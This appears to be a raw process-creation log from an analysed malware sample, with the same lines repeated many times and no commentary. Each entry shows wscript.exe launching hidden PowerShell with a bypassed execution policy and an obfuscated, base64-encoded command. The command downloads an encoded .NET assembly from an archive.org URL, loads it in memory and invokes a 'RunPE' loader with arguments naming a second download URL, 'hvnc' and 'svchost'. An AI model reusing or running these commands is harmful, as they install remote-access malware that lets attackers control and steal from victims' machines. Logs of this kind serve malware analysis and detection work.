Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
